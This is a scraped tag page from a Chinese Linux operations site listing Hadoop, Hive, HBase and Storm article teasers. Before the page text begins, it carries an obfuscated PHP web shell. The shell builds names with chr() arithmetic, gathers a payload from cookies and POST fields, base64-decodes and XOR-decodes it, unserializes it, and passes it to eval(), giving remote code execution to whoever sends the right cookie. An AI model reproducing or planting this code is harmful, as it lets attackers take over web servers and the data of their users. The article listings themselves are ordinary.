$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} hadoop | Linux运维部落

hadoop

  • Hadoop伪分布式模型

    # java -version # vim /etc/profile.d/java.sh export JAVA_HOME=/usr # yum install java-1.8.0-openjdk-devel # mkdir /bdapps # tar xf hadoop-2.7.4.tar.gz -C /bdapps/ # cd /bdapps # ln…

    2017-12-08
  • Hadoop hdfs分布式文件系统

    一、MapReduce理论基础 每个MapReduce job都是Hadoop客户端想要执行的一个工作单元,它一般由输入数据、MapReduce程序和配置信息组成,而Hadoop会把每个job分隔成两类任务(task):map任务和reduce任务。在Hadoop集群中有两类节点来执行两类job进程的执行 1.1 大数据处理 任何基础业务包含了收集、分析、监…

    2017-12-08
  • Hadoop实战实例

     Hadoop 是Google MapReduce的一个Java实现。MapReduce是一种简化的分布式编程模式,让程序自动分布到一个由普通机器组成的超大集群上并发执行。就如同java程序员可以不考虑内存泄露一样, MapReduce的run-time系统会解决输入数据的分布细节,跨越机器集群的程序执行调度,处理机器…

    Linux干货 2015-04-13
  • Hadoop简介

    Hadoop的概要介绍 Hadoop,是一个分布式系统基础架构,由Apache基金会开发。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力高速运算和存储。 简单地说来,Hadoop是一个可以更容易开发和运行处理大规模数据的软件平台。该平台使用的是面向对象编程语言Java实现的,具有良好的可移植性。 Hadoop的发展历史 &nbsp…

    Linux干货 2015-04-13
  • Hadoop Hive sql语法详解

    Hive 是基于Hadoop 构建的一套数据仓库分析系统,它提供了丰富的SQL查询方式来分析存储在Hadoop 分布式文件系统中的数据,可以将结构 化的数据文件映射为一张数据库表,并提供完整的SQL查询功能,可以将SQL语句转换为MapReduce任务进行运行,通过自己的SQL 去查询分析需 要的内容,这套SQL 简称Hive SQL,使不熟悉mapredu…

    Linux干货 2015-04-13
  • 用PHP编写Hadoop的MapReduce程序

    Hadoop流 虽然Hadoop是用java写的,但是Hadoop提供了Hadoop流,Hadoop流提供一个API, 允许用户使用任何语言编写map函数和reduce函数.Hadoop流动关键是,它使用UNIX标准流作为程序与Hadoop之间的接口。因此,任何程序只要可以从标准输入流中读取数据,并且可以把数据写入标准输出流中,那么就可以通过Hadoop流使…

    Linux干货 2015-04-13
  • hadoop安全模式

    hadoop安全模式在分布式文件系统启动的时候,开始的时候会有安全模式,当分布式文件系统处于安全模式的情况下,文件系统中的内容不允许修改也不允许删除,直到安全模式结束。安全模式主要是为了系统启动的时候检查各个DataNode上数据块的有效性,同时根据策略必要的复制或者删除部分数据块。运行期通过命令也可以进入安全模式。在实践过程中,系统启动的时候去修改和删除文…

    Linux干货 2015-04-13
  • Hadoop Hive与Hbase整合+thrift

    1.  简介 Hive是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一张数据库表,并提供完整的sql查询功能,可以将sql语句转换为MapReduce任务进行运行。 其优点是学习成本低,可以通过类SQL语句快速实现简单的MapReduce统计,不必开发专门的MapReduce应用,十分适合数据仓库的统计分析。 Hive与HBas…

    Linux干货 2015-04-13
  • Hadoop HDFS分布式文件系统设计要点与架构

    Hadoop简介:一个分布式系统基础架构,由Apache基金会开发。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力高速运算和存储。Hadoop实现了一个分布式文件系统(Hadoop Distributed File System),简称HDFS。HDFS有着高容错性的特点,并且设计用来部署在低廉的(low-cost)硬件…

    Linux干货 2015-04-13
  • 使用Storm实现实时大数据分析

    摘要:随着数据体积的越来越大,实时处理成为了许多机构需要面对的首要挑战。Shruthi Kumar和Siddharth Patankar在Dr.Dobb’s上结合了汽车超速监视,为我们演示了使用Storm进行实时大数据分析。CSDN在此编译、整理。 简单和明了,Storm让大数据分析变得轻松加愉快。 当今世界,公司的日常运营经常会生成TB级别的数据。数据来源…

    Linux干货 2015-04-04
  • 你的数据根本不够大,别老扯什么Hadoop了

    本文原名“Don’t use Hadoop when your data isn’t that big ”,出自有着多年从业经验的数据科学家Chris Stucchio,纽约大学柯朗研究所博士后,搞过高频交易平台,当过创业公司的CTO,更习惯称自己为统计学者。对了,他现在自己创业,提供数据分析、推荐优化咨询服务,他的邮件是:stucchio@gmail.co…

    Linux干货 2015-04-04
  • zabbix监控Hadoop的实现

            Hadoop日常运行过程中一些参数需要进行实时监控,如:Map、Reduce任务数量,HDFS磁盘使用情况,namenode、datanode在线数量及健康情况,以便更好的掌握整个Hadoop集群架构的运行情况。         下面结合最近工作中的一些…

    Linux干货 2015-03-08
  • 数据分析≠Hadoop+NoSQL,不妨先看完善现有技术的10条捷径

    让业务搭乘大数据技术确实是件非常有吸引力的事情,而Apache Hadoop让这个诱惑来的更加的猛烈。Hadoop是个大规模可扩展数据存储平台,构成了大多数大数据项目基础。Hadoop是强大的,然而却需要公司投入大量的学习精力及其它的资源。 如果得到正确的应用,Hadoop确实能从根本上提升你公司的业务,然而这条Hadoop的应用之路却充满了荆棘。另一个方面…

    Linux干货 2015-02-25